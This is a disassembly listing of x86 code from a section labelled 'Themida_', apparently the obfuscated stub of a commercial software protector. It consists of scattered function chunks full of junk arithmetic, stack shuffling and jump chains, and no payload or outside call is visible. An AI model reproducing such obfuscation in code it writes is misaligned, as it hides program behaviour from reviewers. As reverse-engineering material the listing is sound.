; START	OF FUNCTION CHUNK FOR sub_572075


loc_571D08:				; CODE XREF: sub_572075+46j
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+0Ch+var_8]
		pop	ebp
		jmp	loc_57509D
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------


loc_571D1C:				; CODE XREF: Themida_:00569E90j
		pop	eax
		push	esi
		push	3E640B0Fh
		mov	esi, [esp]
		jmp	loc_55FFA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F3B2


loc_571D2B:				; CODE XREF: sub_56F3B2+4j
		push	eax
		mov	eax, esp
		jmp	loc_56C953
; END OF FUNCTION CHUNK	FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_571D33:				; CODE XREF: sub_5620B7+C387j
		pop	esi
		add	esp, 4
		xchg	eax, edx
		xchg	eax, ebx
		xchg	edi, ebx
		jmp	loc_56989A
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_571D43:				; CODE XREF: sub_568E5C+BFE5j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		jmp	loc_564894
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_571D5A:				; CODE XREF: sub_563819+D1FDj
		push	edi
		push	ebx
		mov	ebx, 117C5E6Ah
		mov	edi, 117C5E6Eh
		jmp	loc_568E23
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_571D6B:				; CODE XREF: sub_561541-307j
		mov	edx, 672F0506h
		add	ecx, edx
		pop	edx
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	5D9Ch
		mov	[esp+4+var_4], ebx
		push	40h
		push	[esp+8+var_8]
		jmp	loc_560C2D
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB51


loc_571D8E:				; CODE XREF: sub_56AB51+A8CAj
		xor	eax, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		jmp	loc_5658E4
; END OF FUNCTION CHUNK	FOR sub_56AB51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_571D99:				; CODE XREF: sub_5678CB-4B99j
		mov	esi, [esp]
		jmp	loc_562CF0
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_571DA1:				; CODE XREF: sub_574304-267Ej
		xor	ecx, 20D24751h
		push	[esp+8+var_8]
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		jmp	loc_5633F7
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_571DBB:				; CODE XREF: sub_570E81-652j
		sub	[esp+4+arg_0], 3DF066B1h
		jmp	loc_567A0F
; ---------------------------------------------------------------------------


loc_571DC8:				; CODE XREF: sub_570E81-4213j
		add	ebp, 3536057Dh
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_56240B
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5716F1


loc_571DD6:				; CODE XREF: sub_5716F1+EC5j
		pop	eax
		mov	ebp, edi
		pop	edi
		sub	[esp-8+arg_8], ebp
		pop	ebp
		pop	dword ptr [edi+24h]
; END OF FUNCTION CHUNK	FOR sub_5716F1
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_571DE2:				; CODE XREF: sub_56D4B8+35B8j
		push	63DDh
		mov	[esp-8+arg_4], ecx
		push	ebx
		pop	ecx
		jmp	loc_56495E
; END OF FUNCTION CHUNK	FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_571DF1:				; CODE XREF: sub_5684A6+530Dj
		shl	edx, 5
		push	edi
		mov	edi, 0FDFDE004h
		add	edx, edi
		pop	edi
		jmp	loc_56E8D6
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------


loc_571E02:				; CODE XREF: Themida_:00563A61j
		push	edi
		mov	edi, 4
		jmp	loc_561840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_571E0D:				; CODE XREF: sub_56DA43-ABCAj
		mov	[esp+4+var_4], esi
		push	7E34h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		push	[esp+8+var_8]
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_560E35
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575420


loc_571E44:				; CODE XREF: sub_575420-108ADj
		sub	al, bh
		push	ecx
		mov	cl, 58h
		shl	cl, 7
		jmp	loc_564DE6
; END OF FUNCTION CHUNK	FOR sub_575420
; ---------------------------------------------------------------------------


loc_571E51:				; CODE XREF: Themida_:0056166Dj
		pop	esp
		add	edx, edi
		jmp	loc_57433D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565849


loc_571E59:				; CODE XREF: sub_565849+ED10j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+8+var_8]
		jmp	loc_561AAC
; END OF FUNCTION CHUNK	FOR sub_565849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_571E6E:				; CODE XREF: sub_574949-B688j
		mov	edi, esp
		jmp	loc_562847
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_571E75:				; CODE XREF: sub_561418+13DCDj
		xor	ebp, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebp
		xor	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		push	3C38h
		mov	[esp+1Ch+var_1C], ebp
		dec	[esp+1Ch+var_1C]
		jmp	loc_56EE4E
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_571E91:				; CODE XREF: sub_56D69D-8076j
		sub	esi, 366B6D38h
		push	ebx
		mov	ebx, 25611359h
		shr	ebx, 7
		shl	ebx, 3
		inc	ebx
		xor	ebx, 0B32E7FDDh
		add	esi, ebx
		pop	ebx
		push	ecx
		jmp	sub_56513E
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56ABD0


loc_571EB3:				; CODE XREF: sub_56ABD0+8236j
		sub	esi, 0E7FA5625h
		xor	esi, 19867FFBh
		sub	esi, 429967D8h
		add	edx, 4525C76h
		sub	edx, esi
		sub	edx, 4525C76h
		pop	esi
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56ABD0
; ---------------------------------------------------------------------------


loc_571ED9:				; CODE XREF: Themida_:0057433Ej
		add	edx, 2
		jmp	loc_5688FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_571EE1:				; CODE XREF: sub_57354D-EE24j
		pop	ebp
		or	eax, eax
		jz	sub_565A8D
		push	dword ptr [edi+1Ch]
		jmp	loc_572F04
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_571EF2:				; CODE XREF: sub_5685B2+3A71j
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		sub	edx, 4
		push	3F9Bh
		mov	[esp+4+var_4], edx
		jmp	loc_5745DD
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_571F0F:				; CODE XREF: sub_568764-5452j
		add	edx, ebx
		push	eax
		mov	eax, 3962073Bh
		sub	edx, 51510B1h
		jmp	loc_56A53C
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_571F22:				; CODE XREF: sub_56FB8A-B7D0j
		add	ebx, esi
		push	[esp+4+var_4]
		pop	esi
		add	esp, 4
		add	ebx, 0F6F4F66h
		sub	ebx, eax
		jmp	loc_56AC07
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563207


loc_571F38:				; CODE XREF: sub_563207+AC88j
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 2B0B6B17h
		jmp	loc_565971
; END OF FUNCTION CHUNK	FOR sub_563207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_571F45:				; CODE XREF: sub_561541+ABF8j
		shl	edx, 4
		sub	edx, 362AE4E1h
		add	eax, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		and	eax, 8427803h
		add	eax, 0FFFFB801h
		jmp	loc_57163E
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_571F68:				; CODE XREF: sub_565B6E+B229j
		add	eax, ebx
		jmp	loc_56F649
; END OF FUNCTION CHUNK	FOR sub_565B6E

; =============== S U B	R O U T	I N E =======================================



sub_571F6F	proc near		; CODE XREF: sub_56A7FB+1184j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= dword	ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005609AC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00560DE1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561DFD SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005625EE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00562CFB SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0056382C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005641A4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056625B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005666FF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005667C4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005669DB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00566C11 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005671FF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00567234 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00567EAC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00569006 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569DDE SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056A688 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A874 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BB08 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056DC53 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056DE94 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EF3A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056EFBA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F0E2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057002C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0057055F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057060E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00570BEC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570D2E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00570E67 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00570EA7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005711E7 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00572287 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005725BB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00572628 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00572750 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572A65 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005742BB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005747F3 SIZE 00000007 BYTES

		sub	esp, 4
		jmp	loc_57055F
sub_571F6F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_571F7A:				; CODE XREF: sub_569DB5+9j
		mov	[esp+4+var_4], ecx
		jmp	loc_571466
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_571F82:				; CODE XREF: sub_5685B2-55EAj
		push	[esp-10h+arg_C]
		jmp	loc_566D22
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56264C


loc_571F8A:				; CODE XREF: sub_56264C+C2EBj
		pop	ebx
		push	ecx
		push	esp
		jmp	loc_57519D
; END OF FUNCTION CHUNK	FOR sub_56264C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_571F92:				; CODE XREF: sub_57146D-2188j
		mov	bh, cl
		pop	ecx
		pop	edx
		pop	ecx
		mov	dx, word ptr [esp+8+var_8]
		add	esp, 2
		jmp	loc_5602FC
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_571FA6:				; CODE XREF: sub_57549C-59C6j
		xor	ebp, esi
		jmp	loc_56235A
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_571FAD:				; CODE XREF: sub_564BC5+939Bj
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_56AE8B
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_571FB5:				; CODE XREF: sub_571088-69CFj
		push	dword ptr [edi+eax*4]
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_571FBD:				; CODE XREF: sub_565632+7E10j
		push	edi
		sub	dword ptr [esp+0], 1
		mov	edi, [esp+0]
		jmp	loc_56B6DD
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_571FCA:				; CODE XREF: sub_57146D-32DDj
		mov	cl, 13h
		add	al, cl
		mov	cx, word ptr [esp+0Eh+var_10+2]
		jmp	loc_56EEB3
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_571FD7:				; CODE XREF: sub_572DD7-CE11j
		sub	[esp+4], edx
		pop	edx
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------


loc_571FE1:				; CODE XREF: Themida_:0056226Aj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	dx, [esp]
		jmp	loc_56CB29
; ---------------------------------------------------------------------------


loc_571FF4:				; CODE XREF: Themida_:0056A3E3j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	eax
		mov	eax, 59347368h
		dec	eax
		sub	eax, 59347363h
		add	edi, eax
		pop	eax
		jmp	loc_56A0F5
; ---------------------------------------------------------------------------


loc_572012:				; CODE XREF: Themida_:00571507j
		xor	edi, 55D7FFBAh
		sub	ebx, 376552A4h
		jmp	loc_56F9C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_572023:				; CODE XREF: sub_561418+660Aj
		mov	edx, [esp+0]
		push	49ECh
		mov	[esp+4+var_4], ecx
		push	esp
		pop	ecx
		push	edx
		push	ecx
		mov	ecx, 36AF4089h
		xor	ecx, 506E7B25h
		not	ecx
		jmp	loc_5633AC
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_572044:				; CODE XREF: sub_56616D+3A68j
		xchg	ecx, [esp-10h+arg_C]
		pop	esp
		push	ecx
		mov	ecx, 663F3C2Eh
		push	ecx
		jmp	loc_57524C
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568CD2


loc_572054:				; CODE XREF: sub_568CD2-1EFCj
		sub	ecx, 4
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		jmp	loc_571660
; END OF FUNCTION CHUNK	FOR sub_568CD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_572065:				; CODE XREF: sub_5713A7-1968j
		dec	ecx
		not	ecx
		xor	ecx, 0BFCEFA26h
		sub	ebx, ecx
		jmp	loc_5697C7
; END OF FUNCTION CHUNK	FOR sub_5713A7

; =============== S U B	R O U T	I N E =======================================



sub_572075	proc near		; DATA XREF: Themida_:0055FCF4o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00561910 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056269D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00562986 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056346B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00564B88 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056653B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566B9C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568D4C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056996F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569C2F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056AD76 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056BA91 SIZE 0000006B BYTES
; FUNCTION CHUNK AT 0056BFFB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056C677 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D26E SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0056FB7B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056FDBA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00571ADA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571D08 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005720C0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00572C60 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0057509D SIZE 00000035 BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		push	7CCAh
		mov	[esp+4+var_4], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	edx, 19125E32h
		neg	edx
		or	edx, 53FA49A6h
		add	edx, 8001616h
		add	edi, edx
		push	[esp+8+var_8]
		pop	edx
		add	esp, 4
		push	7429h
		mov	[esp+8+var_8], ebp
		push	esp
		pop	ebp
		jmp	loc_571D08
sub_572075	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_5720C0:				; CODE XREF: sub_572075-D4DFj
		sub	ecx, 791A2EF3h
		pop	ebp
		push	ecx
		push	[esp+8+var_4]
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_56D26E
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_5720DA:				; CODE XREF: sub_5713A7-FA9Cj
		sub	edx, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	edx, ecx
		jmp	loc_56B4EC
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------


loc_5720E9:				; CODE XREF: Themida_:00561C40j
		dec	ebp
		jmp	loc_5714F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57109F


loc_5720EF:				; CODE XREF: sub_57109F-5FCAj
		xor	ebp, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebp
		xor	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_57109F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_572100:				; CODE XREF: sub_572141-9389j
		add	ebp, 2
		jmp	loc_56F8AB
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_57210B:				; CODE XREF: sub_564D26+C330j
		push	254h
		mov	[esp+24h+var_24], ebx
		mov	ebx, 74D25BB7h
		shl	ebx, 6
		jmp	loc_5695E4
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C7AA


loc_572120:				; CODE XREF: sub_56C7AA-9A31j
		pop	esp
		jmp	loc_56A6BE
; END OF FUNCTION CHUNK	FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD36


loc_572126:				; CODE XREF: sub_56BD36-3540j
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		jmp	loc_561E74
; END OF FUNCTION CHUNK	FOR sub_56BD36

; =============== S U B	R O U T	I N E =======================================



sub_572141	proc near		; DATA XREF: Themida_:0055FE04o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056247E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00563356 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056437F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00567AB9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005682FE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568DB2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569658 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569D35 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B206 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C229 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056CA70 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056CBDF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056CFF0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F708 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F8AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00570B7E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00572100 SIZE 0000000B BYTES

		mov	cx, [esp+0]
		push	6470h
		mov	[esp+4+var_4], ebp
		jmp	loc_56CBDF
sub_572141	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_572152:				; CODE XREF: sub_56616D+AA4Aj
		mov	eax, 7B631668h
		and	eax, 500A5759h
		push	ebp
		mov	ebp, 71A60967h
		or	eax, ebp
		pop	ebp
		and	eax, 12D673CBh
		neg	eax
		push	edi
		mov	edi, 3DD0456Bh
		add	eax, 2B8D6714h
		add	eax, edi
		sub	eax, 2B8D6714h
		pop	edi
		or	esi, eax
		pop	eax
		shl	esi, 2
		neg	esi
		jmp	loc_56AC4B
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_57218C:				; CODE XREF: sub_56DA43-DA1Aj
		add	esp, 4
		add	edx, ebp
		jmp	loc_56F858
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_572199:				; CODE XREF: sub_565A8D+74EBj
		add	esp, 4
		xor	ebx, [esp+0]
		jmp	loc_56C3D4
; END OF FUNCTION CHUNK	FOR sub_565A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574287


loc_5721A4:				; CODE XREF: sub_574287-9EC0j
		mov	edi, 670C24E1h
		add	edi, 0FFFFFFFFh
		xor	edi, 57B86C7Eh
		inc	edi
		jmp	loc_565FD0
; END OF FUNCTION CHUNK	FOR sub_574287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_5721BB:				; CODE XREF: sub_56AB5E+1D7Ej
		push	edx
		push	[esp+10h+var_C]
		pop	edx
		jmp	loc_566059
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_5721C6:				; CODE XREF: sub_56D855+11F1j
		add	ebp, eax
		jmp	loc_56163D
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C83E


loc_5721CD:				; CODE XREF: sub_56C83E+F34j
		and	esi, 62FB7FA7h
		push	ecx
		push	edx
		push	33922A3Fh
		pop	edx
		xor	edx, 1042710Fh
		mov	ecx, edx
		pop	edx
		add	esi, ecx
		pop	ecx
		not	esi
		push	edi
		mov	edi, 0FF6A323h
		sub	esi, edi
		pop	edi
		jmp	loc_568829
; END OF FUNCTION CHUNK	FOR sub_56C83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_5721F7:				; CODE XREF: sub_5648C6+1E52j
		pop	esi
		mov	eax, 0FF7185C3h
		add	eax, ebx
		pop	ebx
		add	ebp, eax
		pop	eax
		add	ebp, 4
		jmp	loc_568C88
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_57220E:				; CODE XREF: sub_561418+1042Fj
		xor	edi, 51C42F27h
		push	eax
		mov	eax, 86C20C46h
		add	edi, eax
		pop	eax
		mov	esi, edi
		pop	edi
		push	edi
		mov	edi, 7FFA4879h
		add	eax, 7AEA6268h
		jmp	loc_56F1CF
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_572230:				; CODE XREF: sub_564D26-2515j
		xchg	edi, [esp+8+var_8]
		pop	esp
		and	eax, esi
		push	[esp+4+var_4]
		mov	esi, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	sub_569193
		push	dword ptr [edi+1Ch]
		push	7C73h
		mov	[esp+8+var_8], eax
		jmp	loc_56993E
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_57225D:				; CODE XREF: sub_56628B+34BAj
		add	edi, 6165A84h
		sub	eax, edi
		pop	edi
		push	7ABh
		jmp	loc_5619FF
; END OF FUNCTION CHUNK	FOR sub_56628B

; =============== S U B	R O U T	I N E =======================================



sub_572270	proc near		; DATA XREF: Themida_:0055FD50o

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056503E SIZE 00000011 BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	eax
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		jmp	loc_56503E
sub_572270	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_572287:				; CODE XREF: sub_571F6F-AD28j
		sub	eax, 28ED49C1h
		xor	ecx, eax
		mov	eax, [esp+0Ch+var_E+2]
		jmp	loc_561DFD
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AA2B


loc_572296:				; CODE XREF: sub_56AA2B+829Aj
		inc	ecx
		jmp	loc_56060F
; END OF FUNCTION CHUNK	FOR sub_56AA2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680F2


loc_57229C:				; CODE XREF: sub_5680F2+4j
		push	1CF3h
		mov	[esp+4+var_4], edi
		push	esp
		mov	edi, [esp+8+var_8]
		sub	esp, 4
		jmp	loc_56DB46
; END OF FUNCTION CHUNK	FOR sub_5680F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_5722B0:				; CODE XREF: sub_561541+62CCj
		mov	eax, 40F77FAEh
		push	ecx
		jmp	loc_567173
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_5722BB:				; CODE XREF: sub_567B29+37CCj
		sub	ebx, esi
		sub	ebx, 2D166BBEh
		jmp	loc_563AD9
; END OF FUNCTION CHUNK	FOR sub_567B29

; =============== S U B	R O U T	I N E =======================================



